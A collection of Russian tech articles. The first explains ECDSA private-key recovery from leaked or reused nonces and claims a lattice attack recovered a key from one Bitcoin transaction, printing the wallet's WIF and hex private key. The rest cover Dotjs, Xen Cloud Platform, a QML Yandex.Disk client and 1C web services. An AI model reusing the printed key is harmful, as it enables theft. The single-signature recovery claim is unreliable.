`DSA` определяется над математической группой. Когда `DSA` используется с группой эллиптических кривых в качестве этой математической группы, мы называем это `ECDSA`. *Группа эллиптических кривых* состоит из точек эллиптических кривых, которые представляют собой пары `( x , y )`, которые удовлетворяют уравнению `y^2 = x^3 + ax + b` для некоторых `a , b` . Для этого сообщения в блоге все, что вам нужно знать, это то, что, используя эллиптические кривые, вы можете определить конечную группу, что означает, что вы получаете генератор группы, `g` *(точка эллиптической кривой)*, и операции *сложения* и *скалярного умножения* точно так же, как вы можете с целыми числами. Поскольку они образуют конечную группу, генератор,`g` , будет иметь конечный порядок, `p`. Этот пост в блоге не будет объяснять или требовать, чтобы вы знали, как работают эти операции с *эллиптическими кривыми*.
`ECDSA` работает так же, как `DSA`, но с другой группой. *Секретный ключ* `x` по-прежнему будет случайным значением из целых чисел по модулю `p` . Теперь публичный ключ `y` по- прежнему вычисляется как `y = g^x` , за исключением того, что теперь g является точкой эллиптической кривой. Это означает, что y также будет точкой эллиптической кривой (раньше y был целым числом по модулю p ). Еще одно отличие заключается в том, как мы вычисляем значение r . Мы по-прежнему генерируем случайный одноразовый номер k как целое число по модулю p , как и раньше. Мы вычислим `g^k` , но опять же,`g` — точка эллиптической кривой, и, следовательно, `g^k` — тоже. Следовательно, мы можем вычислить `( x^k , y^k ) = g^k` и установить `r = x^k` . Теперь значение `s` можно вычислить, как и раньше, и мы получим нашу сигнатуру `( r , s )`, которая по-прежнему будет целым числом по модулю `p` , как и раньше. Чтобы проверить, нам нужно сделать поправку на тот факт, что мы вычислили `r` немного по-другому.
> Итак, как и прежде, мы *вычисляем* значение `( g^H(m)y^r)^ŝ` , но теперь это значение является точкой эллиптической кривой, поэтому мы берем `x`-координату этой точки и сравниваем ее с нашим значением `r` .
>
>
*Восстановление секретных ключей из повторно используемых одноразовых номеров* `NONCES`
Теперь, когда мы понимаем, что такое `ECDSA` и как он работает, давайте продемонстрируем его *хрупкость*. Опять же, поскольку это схема цифровой подписи, крайне важно, чтобы *секретный ключ* никогда не раскрывался никому, кроме лица, подписывающего сообщение.
> Однако, если подписывающее лицо когда-либо выпускает подпись, а также выпускает использованный одноразовый номер, *злоумышленник* может немедленно восстановить *секретный ключ*.
>
>
Скажем, я освобождаю подпись `( r , s )` для сообщения `m` и случайно обнаруживаю, что использовал одноразовый номер `k` .
Поскольку `s = ( k^-1 ( H ( m ) + xr )),` мы можем легко вычислить секретный ключ:
`s = (k^-1(H(m) + xr))`
`ks = H(m) + xr`
`ks – H(m) = xr`
`x = r^-1(ks – H(m))`
> Следовательно, подписывающая сторона должна не только хранить в секрете свой *секретный ключ*, но и все свои одноразовые номера, которые они когда-либо генерировали, в секрете.
>
>
> Даже если подписывающий держит в секрете каждый *одноразовый номер* `NONCES`, если он случайно повторит один *одноразовый номер* `NONCES` (даже для разных сообщений), *секретный ключ* также может быть немедленно **восстановлен**.
>
>
Пусть `( r , s 1 )` и `( r , s 2 )` будут двумя подписями, созданными на сообщениях `m 1` и `m 2` (соответственно) из одного и того же одноразового номера, `k` - поскольку они имеют один и тот же одноразовый номер, значения r будут одинаковыми, так что это очень легко обнаруживается злоумышленником:
`s1 = k^-1(H(m1) + xr) and s2 = k^-1(H(m2) + xr)`
`s1 – s2 = k^-1(H(m1) – H(m2))`
`k(s1 – s2) = H(m1) – H(m2)`
`k = (s1 – s2)^-1(H(m1) – H(m2))`
После того, как мы восстановили одноразовый номер `k` , используя приведенную выше формулу, мы можем восстановить секретный ключ, выполнив ранее описанную атаку.
Давайте на минутку переварим это.
---------------------------------
> Если *одноразовый номер* `NONCES` для подписи когда-либо раскрывается, *секретный ключ* может быть немедленно *восстановлен*, что **нарушает всю нашу схему подписи**.
>
>
Кроме того, если два одноразовых номера когда-либо повторяются, независимо от того, что представляют собой сообщения, *злоумышленник* может легко обнаружить это и немедленно **восстановить секретный ключ**, снова нарушив всю нашу схему.
Это довольно хрупко, и это только *легкие атаки*!
Но существует *новая атака* [**Lattice Attack**](https://youtu.be/YP4Xj6gUcf4) которую очень подробно и детально описали `Йоахим Брайтнер и Надя Хенингер` [*(Joachim Breitner and Nadia Heninger)*](https://youtu.be/YP4Xj6gUcf4)
> Document [[PDF]](https://eprint.iacr.org/2019/023.pdf): *Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies*
>
>
В блокчейне Биткоина мы нашли некую транзакцию:
-----------------------------------------------
transaction: [08d917f0fee48b0d765006fa52d62dd3d704563200f2817046973e3bf6d11f1f](https://www.blockchain.com/btc/tx/08d917f0fee48b0d765006fa52d62dd3d704563200f2817046973e3bf6d11f1f)
для Биткоин Адреса: [15N1KY5ohztgCXtEe13BbGRk85x2FPgW8E](https://www.blockchain.com/btc/address/15N1KY5ohztgCXtEe13BbGRk85x2FPgW8E)
> и нам удалось размножить фейковые подписи и применить решетку
>
>
где с помощью *Python-скрипта* [algorithmLLL.py](https://youtu.be/YP4Xj6gUcf4) с установкой пакетов в **GOOGLE COLAB**
**INSTALL >> SAGE + ECDSA + BITCOIN + algorithm LLL**
> Нам удалось получить `Private Key` к `Bitcoin Wallet` из одной слабой транзакции в `ECDSA`.
>
>
УстановкаЗапуск Bash-скрипта: lattice.shРезультат в HEX - формате Закрытый ключ найден!Файл: ONESIGN.txt (Значение R, S, Z подписи ECDSA)Размножили фейковые подписи для Python-скрипта algorithmLLL.pyФайл: PRIVATEKEY.txt Файл: ADDRESS.txtПроверяем закрытый ключ на сайте bitaddress*Закрытый ключ найден!*
<https://www.blockchain.com/btc/address/15N1KY5ohztgCXtEe13BbGRk85x2FPgW8E>
0.001 BTC
```
ADDR: 15N1KY5ohztgCXtEe13BbGRk85x2FPgW8E
WIF: 5JCAmNLXeSwi2SCgNH7wRL5qSQhPa7sZvj8eDwxisY5hJm8Uh92
HEX: 31AFD65CAD430D276E3360B1C762808D1D051154724B6FC15ED978FA9D06B1C1
```
Данный видеоматериал создан для портала [**CRYPTO DEEP TECH**](https://cryptodeep.ru/lattice-attack) для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN
**Видеоматериал:**[**https://youtu.be/YP4Xj6gUcf4**](https://youtu.be/YP4Xj6gUcf4)
**Источник:**[**https://cryptodeep.ru/lattice-attack**](https://cryptodeep.ru/lattice-attack/) | https://habr.com/ru/post/671932/ | null | ru | null |
# Dotjs: исполнение локальных скриптов на любом сайте
[Dotjs](http://defunkt.io/dotjs/) — расширение для Google Chrome (под OS X), которое позволяет применять скрипты из локальной папки `~/.js` на любом сайте, если имя файла скрипта соответствует названию сайта. Например, при заходе на `google.com` будет автоматически исполнен скрипт `~/.js/google.com.js`. Таким образом, модифицировать сайты не сложнее, чем с помощью Firefox/GreaseMonkey.
Дополнительный бонус: `~/.js/default.js` будет исполняться на каждом запросе, так что сюда можно подключить универсальные правила.
Чтобы преодолеть ограничения Chrome на исполнение локальных скриптов, Dotjs работает через локальный веб-сервер. Автор расширения — [defunkt](https://github.com/defunkt) (Крис Ванстрат), сооснователь Github и нынешний CEO.
**Пример**
```
$ cat ~/.js/github.com.js
// меняет логотип github на тролля
$('#header .logo img')
.css('width', '100px')
.css('margin-top', '-15px')
.attr('src', '//bit.ly/ghD24e')
```
**Требования*** OS X
* Ruby 1.8
* rake (gem install rake)
* Google Chrome
* /usr/local/bin in your $PATH
**Установка**
```
git clone http://github.com/defunkt/dotjs
cd dotjs
rake install
```
Оригинальная версия Dotjs написана под Google Chrome, но уже есть версии [для Firefox](https://github.com/rlr/dotjs-addon) и [для Safari](https://github.com/wfarr/dotjs.safariextension). | https://habr.com/ru/post/123032/ | null | ru | null |
# Xen Cloud Platform в условиях предприятия [2]
[Предыдущая часть](http://habrahabr.ru/blogs/virtualization/104025/) определяла терминологию. Теперь перейдём к обстоятельному объяснению «как это устроено». (тем, кому не терпится «взять и запустить» могут сделать с помощью руководств на сайте xen'а).
В этой части: подробнее про пулы и обзор устройства хостов и чуть-чуть о Xen'е.
Пулы
====
Весь XCP представляет собой один пул (поддержка нескольких пулов есть в очень отдалённых планах). В принципе, компания может иметь несколько пулов. Если используется разное железо для хостов, то придётся формировать пулы в пределах одинакового железа; в вырожденном случае это означает «один хост — один пул». В такой конфигурации возможность живой миграции отсутствует, а единственной опцией является экспорт/импорт виртуальной машины (медленно и неавтоматически). Соответственно, нужно иметь хотя бы пару одинаковых машин, чтобы получить возможности живой миграции (одинаковых означает «совсем одинаковых», вплоть до степпинга процессора). *Чуть раньше возникли вопросы, можно ли в пул собрать разное железо. Официальный ответ: нет. Если очень захотеть, то можно, но все возможно возникшие при этом глюки будут вашими собственными именными граблями.*
Каждый хост пула (его устройство обсуждается чуть ниже) имеет полную информацию о состоянии всех машин в пуле (хранит всю базу пула). Выполнять же операции может только один хост, именуемый «мастером пула». Мастер может легко меняться на ходу (без перезагрузки и остановке в работе виртуальных машин), в случае «смерти» мастера его роль может быть перенесена на другой хост силком. Если бывший мастер после этого загрузится, то произойдёт «pool split» — разделение пула на две неравные части, когда бывший мастер считает, что это он мастер, а все остальные подчиняются новому мастеру. Эта проблема легко решается силовой сменой настроек «бывшем мастере».
С мастерами следует играться осторожно, именно из-за игр с тем, кто мастер, я и получил ситуацию "[Ghost in the Xen](http://habrahabr.ru/blogs/cloud_computing/92375/)" (когда была запущена виртуальная машина, отсутствующая в списке машин облака). Впрочем, со времён XCP 0.1.1 ситуация немного поменялась, и поведение хостов в отстутствии живого мастера стало более разумным.
Мастер принимает команды и отсылает их слейвам (хосты в пуле, которые не мастера, называются слейвами). Однако, управление пулом можно осуществлять с консоли любого хоста — в этом случае введённые команды просто отправляются на мастера и пользователю показывают результат. Подробнее про управление чуть ниже.
Пул хранит конфигурацию, которая (за некоторыми исключениями) является полностью идентичной для всех хостов. Благодаря этому виртуальная машина может запускаться на любом хосте, хосты неразличимы с точки зрения работы виртуальной машины (именно потому в названии «XCP» фигурирует cloud — платформа позволяет забыть о конкретных машинах и работать просто с множеством эквивалентных кирпичиков).
У хостов всё-таки могут быть особенности на нижележащем уровне, но они тщательно маскируются для вышележащего уровня. Это в основном касается подключения к сети и к хранилищам — PBD и PIF на некоторых хостах могут быть unplugged, то есть не подключенными. Это может быть как административное решение, так и внешняя причина (сломался порт на коммутаторе, iSCSI target отказал в соединении одному из хостов и т.д.). В этом случае происходит следующая ситуация:
Если команда на запуск/миграцию машины отдаётся без указания «где/куда» (просто `xe vm-start`, `xe host-evacuate`), то «неподходящие» хосты игнорируются, а команда отрабатывает с использованием доступых хостов. Если же администратор явно указывает где запускать виртуальную машину, ему могут сказать, что на этом хосте машина не может быть запущена, потому что часть ресурсов хоста не готова. В обычном административном применении нет необходимости указывать точно «где запускать машину» (все машины эквиваленты), так что «полурабочие» хосты не доставляют проблем.
Ещё одна интересная особенность — это Load Balancing. Он есть двух типов — родной для XCP и внешний. Родное балансирование нагрузки осуществляется только при включении машины (существует две стратегии поведения: жадная и скромная, жадная запускает машину там, где больше всего ресурсов, а скромная там, где ей хватит ресурсов, то есть старается занимать как можно меньше хостов под выполнение задачи). Внешняя балансировка (обычно с миграцией) отдаётся на откуп пользователю.
Кроме этого, XCP предоставляет механизм DMC (dynamic memory control), механизм, при котором для каждой виртуальной машины задаются границы оперативной памяти, и в случае необходимости XCP может «поджимать» другие машины для предоставления памяти новому соседу. Впрочем, об управлении памятью мы будем говорить много позже.
Устройство хоста
================
Полное описание того, как работает виртуализатор Xen'а несколько выходит за рамки планируемого в статьях (если когда-нибудь почувствую себя достаточно гуру в этой области, напишу); пока опишу очень поверхностно как работает сердце XCP — гипервизор Xen. Xen загружается до загрузки ОС и берёт на себя управление процессором, памятью и операциями ввода-вывода. Именно в такой формулировке. В отличие от VMWare, Xen ничего не знает ни о дисковых операциях, ни о сети. Всё, чем он управляет — это прерывания, DMA, память и процессор. Для обеспечения работы с устройствами загружается первая операционная система: (в XCP это CentOS), который получает доступ ко всем физическим устройствам, право командовать гипервизором (именно командовать, она не имеет прямого доступа к другим доменам или памяти гипервизора) и обязанность обслуживать виртуальные устройства для виртуальных машин. Фактически, с точки зрения гипервизора, комаднующая ОС — это всего лишь ещё одна виртуальная машина, не более.
В терминологии Xen запущенная машина называется 'домен'. Важно: уничтожение домена это всего лишь «выключение» виртуальной машины. Иногда домены уничтожаются даже без выключения машины (например, если машина мигрирует с хоста на хост, на принимающем хосте домен создаётся, а на отправляющем — уничтожается).
Командующая ОС называется dom0 (это общепринятый термин и в дальнейшем мы будем использовать только его). Гостевые домены называются domU. В Xen'е есть концепция stubdomain (домены, которым делегирована работа с конкретными железками и предоставление основанных на них виртуальных железок), но в XCP она не используется. Так же, как не используется возможность «пробрасывать» железки в гостевые домены. Всё железо — в dom0. Точка.
Dom0, помимо специально адаптированного ядра, содержит ещё несколько компонент. Это:
* xapi — мозг XCP. Основной сервис, командующий гипервизором, осуществляющий миграцию и обрабатывающий вызовы API. xapi в каком-то смысле является аналогом xend в «обычном» зене (в этом и кроется главное архитектурное различие xen'а и XCP).
* обвязка xen по обслуживанию устройств: blktap, xenstore, consoled (мы их обсудим чуть позже)
* open vswitch (аналогично, чуть позже, в кратце — это виртуальный коммутатор для виртуальных сетей).
* squeezed — демон, предоставляющий динамическое регулирование памяти.
* stunnel, обеспечивающий связь между хостами в пуле (я забыл упомянуть, что всё взаимодействие хостов п сети зашифровано? Ну, это как бы подразумевается).
* xsconsole — простенькая ncurses менюшка для управления хостом с помощью меню. Именно он запускается после загрузки хоста
* xe — довольно клёвая консольная утилита с мощным автокомплитом (когда я говорю мощный, я имею в виду действительно мощный), позволяющая сделать с пулом всё, что пул может сделать. Фактически, с небольшим синтаксическим сахаром для удобства работы, полностью покрывает всё XenAPI.
Разумеется, кроме этого, есть масса вспомогательного — от yum'а до ~~openoffice~~ линуксовых компонент для работы с сетью, iscsi, nfs, FC и т.д. Разумеется, среди них ssh-сервер и ntp-сервера.
Кстати, про NTP… Это важнейшая компонента для XCP, поскольку синхронность времени на хостах является жизненно-важным для нормальной миграции машин. Насколько я знаю, эксплуатация XCP без настроенного ntp является крайне чреватой. Источник времени при этом не обязательно иметь «общемировой» — достаточно синхронизироваться с общим источником времени.
При загрузке хоста, загружается Xen, который запускает ядро dom0. Дальнейшая загрузка подробно описана в руководствах по RHEL/CentOS. Все остальные приложения запускаются как обычные демоны. Вся инфраструктура делится на 4 части (это моё личное деление, а не общепринятое):
1. хост как компьютер (ОС и прикладное ПО)
2. Xen и его обвязка
3. XCP'шная часть, связанная с работой облака
4. административная часть (консольные утилиты, xsconsole, vncterm)
Теперь о каждой части (кроме первой, надеюсь, центос не вызовет недоумения) подробнее…
Xen'овская часть, хоть и спрятана от пользователя, но всё же присутствует. Есть xenstored, есть набор утилит для работы с XenStore (xenstore-ls, -read, -write, -rm), есть спрятанный в потрохах модуль питона xc, есть xentop и xentrace. Особо о ней думать при нормальной эксплуатации не нужно, вспоминать о ней нужно если вы пилите что-то своё, или если случилось что-то непонятное.
XCP'шная часть — собственно, тема разговора.
xapi предоставляет API, обеспечивает работу http(s) сервера для него, контролирует работу виртуальных машин (в частности, именно xapi осуществляет миграцию), отсылает информацию мастеру и принимает от него команды. Мастер, соответственно, собирает информацию, принимает и отдаёт команды, рассылает изменения по всем хостам. База XCP хранится целиком в памяти, на диск сохраняется её дамп. (Никакие СУБД при этом не используются). xapi написан на OCaml, что любителей ковыряться в исходном тексте может повергать в великое недоумение и растерянность.
Кроме того, каждый xapi на хосте принимает команды от мастера и выполняет их. Это не только команды в отношении виртуальных машин, но и в отношении конфигурации самого хоста — настройки сети, команды перезагрузки/выключения, управление (весьма опосредованное) монтированием блочных устройств и NFS-шар, управление пользователями. Xapi представляет уровень абстракции, позволяющий от терминологии 'eth0 на host-123' перейти к `xe pif-param-list uuid=(someuuid)`, и что самое важное, использовать её с любого хоста, а не с того конкретного, на котором eth0 находится.
xapi использует stunnel для организации защищённых соединений между мастером и слейвами и слейвами друг с другом… Так как шифрование — операция не бесплатная, при передаче больших объёмов данных (я пока встречался с этим только при миграции машин, но и там объём передаваемого меньше, чем объём ОЗУ гостевой системы) он может подъедать относительно приличный процент процессора. В принципе, если пул размером этак хостов 10-15, то можно рассчитывать, что xapi+stunnel на мастере будут отъедать почти целиком одно ядро. (Кстати, все dom0 в XCP строго одноядерные). Загрузка слейвов существенно ниже, я больше, чем 25% загрузку xapi создать не смог.
Административная часть представлена сервером консолей (речь о консоли свежеустановленных вируальных машины), примитивной менюшкой на консоли самого хоста (её, если что, можно и через ssh вызывать) и самой мощной системой управления — командной строкой xe. Кроме xe в состав XCP входят ещё пара десятков утилит, каждая из которых применяеся в очень редких случаях. Всё штатное управление идёт через 'xe'.
Особенностью xe является то, что она может работать и не на хосте пула (в частности, есть windows-версия xe). Xe идёт отдельным пакетом, может устанавливаться на любую подходящую машину (хоть на админскую рабочую стацию). Xe подключается к мастеру пула с помощью API и после авторизации позволяет управлять пулом почти так же, как локально.
Помимо консольных утилит есть множество альтернативных вариантов. Это и XenCenter (платная графическая утилита от цитрикса для Windows), и OpenXenManager (кросс-платформенный клон XenCenter на python), и ещё несколько десятков графических оболочек разной степени удобности. Один из соавторов XCP активно пиарит свою версию Xen Cloud Control System, которая поддерживает автоматическую балансировку с миграциями машин (у меня всё руки не доходят посмотреть). Однако, полноценная работа (не вызывающая синдрома WTF) возможна только из командной строки или через API, поскольку любая графическая система вынуждена чуть-чуть упрощать отношения между объектами.
Подробнее об администрировании и API мы будем говорить много позже.
На последок повторю подробнее о том, как соотносятся пулы и хосты.
Хост может относиться к одному и только одному пулу. Если хост один — он сам себе пул. Если хост принимается в «чужой» пул, то он «забывает» о своём пуле и принимает чужой. Мастер, соответственно, никого не забывает, зато принимает чужие хосты, всего лишь добавляя их в данные «своего» пула. Если хост выходит из пула, он достаёт из бэкапа старые данные «своего» пула (внимание: виртуальные машины в таком бэкапе не хранятся, так что считайте, что операция присоединения к пулу и выхода из него деструктивная).
Пул нельзя уничтожить, если выводить из пула машины, то в итоге в пуле останеся один хост, который сам себе мастер. Ему нельзя сказать «убить пул», можно либо принять его в другой пул, либо снести систему.
*В следующей части: VBD VDI PBD SR VIF PIF Open vSwitch* | https://habr.com/ru/post/104881/ | null | ru | null |
# Про QML и новое REST API Яндекс.Диска
Доброго времени суток, друзья!
В последнее время на хабре совсем перестали появляться статьи на тему QtQuick\QML Про Ubuntu SDK (основанном на QtQuick) и вовсе тишина, а ведь в настоящий момент это основной инструментарий, предлагаемый для разработки приложений под Ubuntu (ни много ни мало самый популярный Linux-дистрибутив). Захотелось в меру своих возможностей исправить эту ситуацию с помощью написания данной статьи! Объять необъятное пытаться не стоит, поэтому начну, пожалуй, с повествования о том, как мне удалось заменить большой объем кода на C++ кодом на QML (в приложении под Ubuntu SDK). Если вам стало интересно, а может быть еще и непонятно, причем тут Яндекс.Диск, то прошу под кат!
##### Вступление
Начну издалека, но постараюсь кратко — несколько лет назад мне захотелось создать клиент какого-нибудь облачного хранилища под MeeGo (!). Так сложилось, что именно в тот момент Яндекс.Диск открыл свой API. Я достаточно быстро реализовал WebDAV API сервиса c помощью С++\Qt, а GUI с помощью QML. Получилось [довольно неплохо](http://store.ovi.com/content/317076) — простая и надежная программа, большинство отзывов положительные (ну кроме тех, кто не сообразил, как залогиниться =\ ).
Спустя некоторое время я решил поучаствовать в OpenSource разработке базовых приложений для Ubuntu Phone — так я познакомился с Ubuntu SDK, работая над RSS Reader'ом «Shorts». А тем временем приближался Ubuntu App Showdown. Я решил поучаствовать со своим клиентом в категории «Портированные приложения» (можно портировать с любой ОС), благо переносить код с MeeGo на Ubuntu Phone фактически тривиально. Победить не удалось по техническим причинам. Тем не менее, в результате получился отличный клиент Яндекс.Диска под Ubuntu Phone. Однако у него был и недостаток — C++ часть собиралась под ARM только, в итоге на уровне пакета терялась кроссплатформенность.
И совсем недавно мне на почту пришло уведомление от Яндекса о выходе в продакшн нового REST API Диска. Я сразу же задумался о реализации этого API на чистом JavaScript. Для тех, кто не знает — QML (не особо строго говоря) включает в себя JavaScript, то есть позволяет использовать все фичи этого языка, в совокупности с возможностями библиотеки Qt (свойства, сигналы и т.д., в результате получается довольно мощная и гибкая комбинация). В результате получилась бы полностью кроссплатформенная реализация клиента Яндекс.Диска (для всех платформ, где есть Qt, конечно же).
##### Исходные данные и цели
Итак, имеется готовое приложение, позволяющее выполнять различные операции над содержимым Яндекс.Диска (копирование, перемещение, удаление, получение публичных ссылок и т.д.). Сетевая часть выполнена с помощью C++\Qt, так же как и хранение модели отображаемых данных. Задача — перейти на новое API сервиса, реализовав его уже на JavaScript и не делая правок в коде UI.
##### Реализация REST API
Я выработал для себя простую технику реализации API веб-сервиса. Она заключается в использовании экстремально легковесного типа QtObject с кастомным набором свойств и методов. Схематично это выглядит следующим образом:
```
QtObject {
id: yadApi
signal responseReceived(var resObj, string code, int requestId)
property string clientId: "2ad4de036f5e422c8b8d02a8df538a27"
property string clientPass: ""
property string accessToken: ""
property int expiresIn: 0
// Public methods...
// Private methods...
}
```
Сигнал «responseReceived» высылается объектом API каждый раз, когда приходит асинхронный ответ от XMLHttpRequest (см. далее). Свойства «accessToken» и «expiresIn» выставляются после прохождения авторизации через OAuth извне (на странице входа для этой задачи используется WebView — он запрашивает у yadApi URL для получения токена, переходит по нему, предлагает пользователю ввести свои данные, в случае успеха получает токен и его время жизни).
А вот один из публичных методов API — удаление файла:
```
function remove(path, permanently) {
if (!path)
return
var baseUrl = "https://cloud-api.yandex.net/v1/disk/resources?path=" + encodeURIComponent(path)
if (permanently)
baseUrl += "&permanently=true"
return __makeRequst(baseUrl, "remove", "DELETE")
}
```
Он очень простой — из переданных параметров формируется URL запроса, а затем передается во внутренний метод \_\_makeReuqest. Он выглядит так:
```
function __makeRequst(request, code, method) {
method = method || "GET"
var doc = new XMLHttpRequest()
var task = {"code" : code, "doc" : doc, "id" : __requestIdCounter++}
doc.onreadystatechange = function() {
if (doc.readyState === XMLHttpRequest.DONE) {
var resObj = {}
if (doc.status == 200) {
resObj.request = task
resObj.response = JSON.parse(__preProcessData(code, doc.responseText))
} else { // Error
resObj.request = task
resObj.isError = true
resObj.responseDetails = doc.statusText
resObj.responseStatus = doc.status
}
__emitSignal(resObj, code, doc.requestId)
}
}
doc.open(method, request, true)
doc.setRequestHeader("Authorization", "OAuth " + accessToken)
doc.send()
return task
}
```
В вышеуказанном куске кода можно увидеть обещанный XMLHttpRequest, а так же отправку сигнала по получению результата. Помимо этого формируется объект запроса — это код операции, идентификатор и сам XMLHttpRequest. В дальнейшем он может использоваться для отмены, обработки результата и т.д. Если вдруг кому станет интересно насчет "\_\_emitSignal" — он реализован тривиально:
```
function __emitSignal(resObj, operationCode, requestId) {
responseReceived(resObj, operationCode, requestId)
}
```
Такой код может использоваться для логгирования и перехвата отправки сигналов. Что касается внутренней функции "\_\_preProcessData" — она ничего (!) не делает, это закладка на будущее. Дело в том, что я в этом плане научен горьким опытом — при работе со Steam API в JSON'e ответов иногда приходят 64-х битные числа, притом они не заключены в кавычки. В результате JavaScript воспринимает их как double, теряется точность и да здравствует грусть печаль! Решением стал препроцессинг входящих данных, заключение чисел в кавычки, а так же последующая работа с ними уже как со строками.
И по большому счету это все — один за другим были реализованы все необходимые мне методы API, а именно создание папки, копирование, перемещение, удаление, загрузка, изменение статуса публичности. В сумме получилось 140 (!) строк кода на QML\JS, которые в функциональном плане полностью заменили собой тысячу другую строк кода на C++\Qt реализации протокола WebDAV.
##### Реализация прослойки
Реализация протокола WebDAV на C++ у меня получилась достаточно простой и прозрачной, однако ее неудобно было использовать напрямую из QML. В старой версии качестве посредника был создан специальный класс Bridge (название а-ля КО), позволяющий упростить работу с сервисом. Я решил не отказываться от этого подхода в новой версии и аккуратно подменить свой старый Bridge новым одноименным QML типом с идентичным набором методов и свойств. Поддержать свой же API, так сказать, UI бы продолжал вызывать те же самые функции, но абсолютно другой сущности. Опять же схематично это выглядит следующим образом:
```
QtObject {
id: bridgeObject
property string currentFolder: "/"
property bool isBusy: taskCount > 0
property int taskCount: 0
property var tasks: []
function slotMoveToFolder(folder) {
if (isBusy)
return
// .... code
}
function slotDelete(entry) {
__addTask(yadApi.remove(entry))
}
property QtObject yadApi: YadApi {
id: yadApi
onResponseReceived: {
__removeTask(resObj.request)
switch (resObj.request.code)
{
case "metadata":
// console.log(JSON.stringify(resObj))
if (!resObj.isError) {
var r = resObj.response
currentFolder = __checkPath(r.path)
// Filling model
} // !isError
break;
case "move":
case "copy":
case "create":
case "delete":
case "publish":
case "unpublish":
__addTask(yadApi.getMetaData(currentFolder))
break;
} // API
property ListModel folderModel: ListModel {
id: dirModel
}
}
```
Итак, для подмены своего же класса мне были нужны свойства «currentFolder» и «isBusy». Первое свойство используется для хранения пути текущего каталога при навигации. Оно поддерживается актуальным в методе «slotMoveToFolder». Так же добавились несколько свойств и методов для учета выполняемых запросов (\_\_addTask, \_\_removeTask, массив tasks и его длина taskCount. *Только не надо сейчас быть КО и говорить, что у массива есть длина и так — свойство позволяет делать binding'и в QML, в данном случае используется только в isBusy, в перспективе еще где-то*). Именование функций оставил как раньше — начиная с приставки «slot» (в C++ версии класса можно было добиться видимости методов из QML двумя способами: сделать их слотами либо использовать Q\_INVOKABLE). Для краткости опять же оставил только метод удаления и перехода в указанную директорию, все остальные так же присутствуют в полной версии исходного кода. Методы типа Bridge вызываются напрямую из UI.
Одним из свойств нового Bridge является описанная выше реализация API — YadApi. Так же по месту создания выполняется прослушивание сигналов о завершении операции с выполнением соответствующих действий. Так, переименование или удаление, например, вызывают перезагрузку содержимого каталога.
Отдельного внимания заслуживает модель данных — dirModel. В предыдущей реализации у меня был класс FolderModel, который наследовался от QAbstractItemModel по классическому сценарию — введение собственных ролей (кто знаком с Qt хоть немного поймут о чем речь) и так далее. Сейчас же от этого всего удалось с легкостью отказаться в пользу стандартной ListModel, умеющей хранить объекты JS. Заполняется эта модель следующим образом:
```
dirModel.clear()
var items = r._embedded.items
for(var i = 0; i < items.length; i++) {
var itm = items[i]
var o = {
/* All entries attributes */
"href" : __checkPath(itm.path),
"isFolder" : itm.type == "dir",
"displayName" : itm.name,
"lastModif" : itm.modified,
"creationDate" : itm.created,
/* Custom attributes */
"contentLen" : itm.size ? itm.size : 0,
"contentType" : itm.mime_type ? itm.mime_type : "",
"publicUrl" : itm.public_url ? itm.public_url : null,
"publicKey" : itm.public_key ? itm.public_key : null,
"isPublished" : itm.public_key ? true : false,
"isSelected" : false,
"preview" : itm.preview
}
dirModel.append(o)
}
```
Имена свойств в модели тоже пришлось оставить как в старой версии для совместимости. Нельзя сказать, что в C++ реализации модели у меня получился очень уж большой класс, но избавиться от него с помощью стандартной модели и такой вот маленькой конструкции очень даже приятно!
##### Заключение
В конечном итоге я полностью отказался от C++ в своем клиенте Яндекс.Диска. Я ни в коем случае не клоню к тому, что в плюсах есть что-то плохое или в таком духе. Нет! Целью моей статьи было показать возможности чистого QML — с его помощью можно сделать действительно много, хотя его первостепенная задача есть разработка UI (в данной статье фактически не затронутая). И выглядит код просто и понятно~~, совсем не так как реализация калькулятора на CSS~~!
Спасибо за внимание! Код можно найти [на launchpad'e](https://code.launchpad.net/~mrqtros/yad/trunk).
P.S.Вопросы приветствуются, по желанию могу раскрыть любую часть статьи более детально!
P.S.S. В следующей статье планирую затронуть ключевые аспекты и инструменты Ubuntu SDK. | https://habr.com/ru/post/230435/ | null | ru | null |
# Обмен 1С c клиентом на C# используя веб-сервисы 1С
Для одного проекта было необходимо использование веб-сервисов 1С, мы строили систему автоматизации склада, и терминалы сбора данных напрямую подключаются к 1С, сами клиенты разработаны на .NET. Получилась очень интересная структура. Полученную информацию о настройках 1С в режиме работы веб-сервиса а так же написание простенькой конфигурации и клиента на C# в виде tutorial лабораторной работы, которую затем успешно презентовал в институте.
Лабораторная работа получила немного замысловатое название:
***Организация обмена информацией между клиент-серверным разноплатформенным решением, используя Web-Сервисы в примере источника, разработанного на платформе 1С: Предприятие 8.2 и клиента на платформе .NET 4.0 языке C#***
Всем, кто заинтересовался, прошу под кат.
#### Цель работы
Освоить технологию построения веб-сервисов, формирование WSDL описания веб-сервиса. Изучить принципы сериализации объектов в XML схемы для возможности передачи через Web-Сервисы.
#### Оборудование и программное обеспечение
1. Microsoft Windows 7 x64
2. Платформа 1С: Предприятие 8.2
3. Internet Information Server
4. Visual Studio 10 Ultimate
#### Теоретическое введение
Все чаще и чаще встречаются обмены, используя технологию Web-Сервисов. Это удобно, т.к для хостовой базы данных достаточно установить расширение Web-Сервиса и обработчик данных, а для клинтского решения подключиться к Web-Сервису. Технология является мультиплатформенной и на данный момент ее использование весьма актуально.
Примерами веб-сервисов, использующих WSDL описание, можно назвать:
1. <http://www.cbr.ru/scripts/Root.asp?Prtid=DWS> веб-сервис Центробанка, для получения ежедневных данных.
2. <http://api.yandex.ru/speller/doc/dg/concepts/api-overview.xml> веб-сервис Яндекса проверки правописания.
3. <https://www.flightstats.com/developers/bin/view/Web+Services/WSDL> ряд веб сервисов авиастатистики, для мониторинга полетов, сведений о погоде, и.т.п.
**WSDL** (Web Services Description Language) — язык описания веб-сервисов и доступа к ним, основанный на языке XML. (спецификация <http://www.w3.org/TR/wsdl>).
**SOAP** (Simple Object Access Protocol — простой протокол доступа к объектам) — протокол обмена структурированными сообщениями в распределенной вычислительной среде. SOAP используется для обмена произвольными сообщениями в формате XML и удалённого вызова процедур (RPC). (спецификация <http://www.w3.org/TR/soap/>).
**XDTO** (XML Data Transfer Objects) — механизм объектного моделирования данных, описываемых с помощью схемы XML (подробнее <http://v8.1c.ru/overview/xdto.htm>).
Большинство способов сериализации примитивных типов разработана компанией W3 и их описание находится в пространстве имен «<http://www.w3.org/2001/XMLSchema>».
#### Рабочее задание
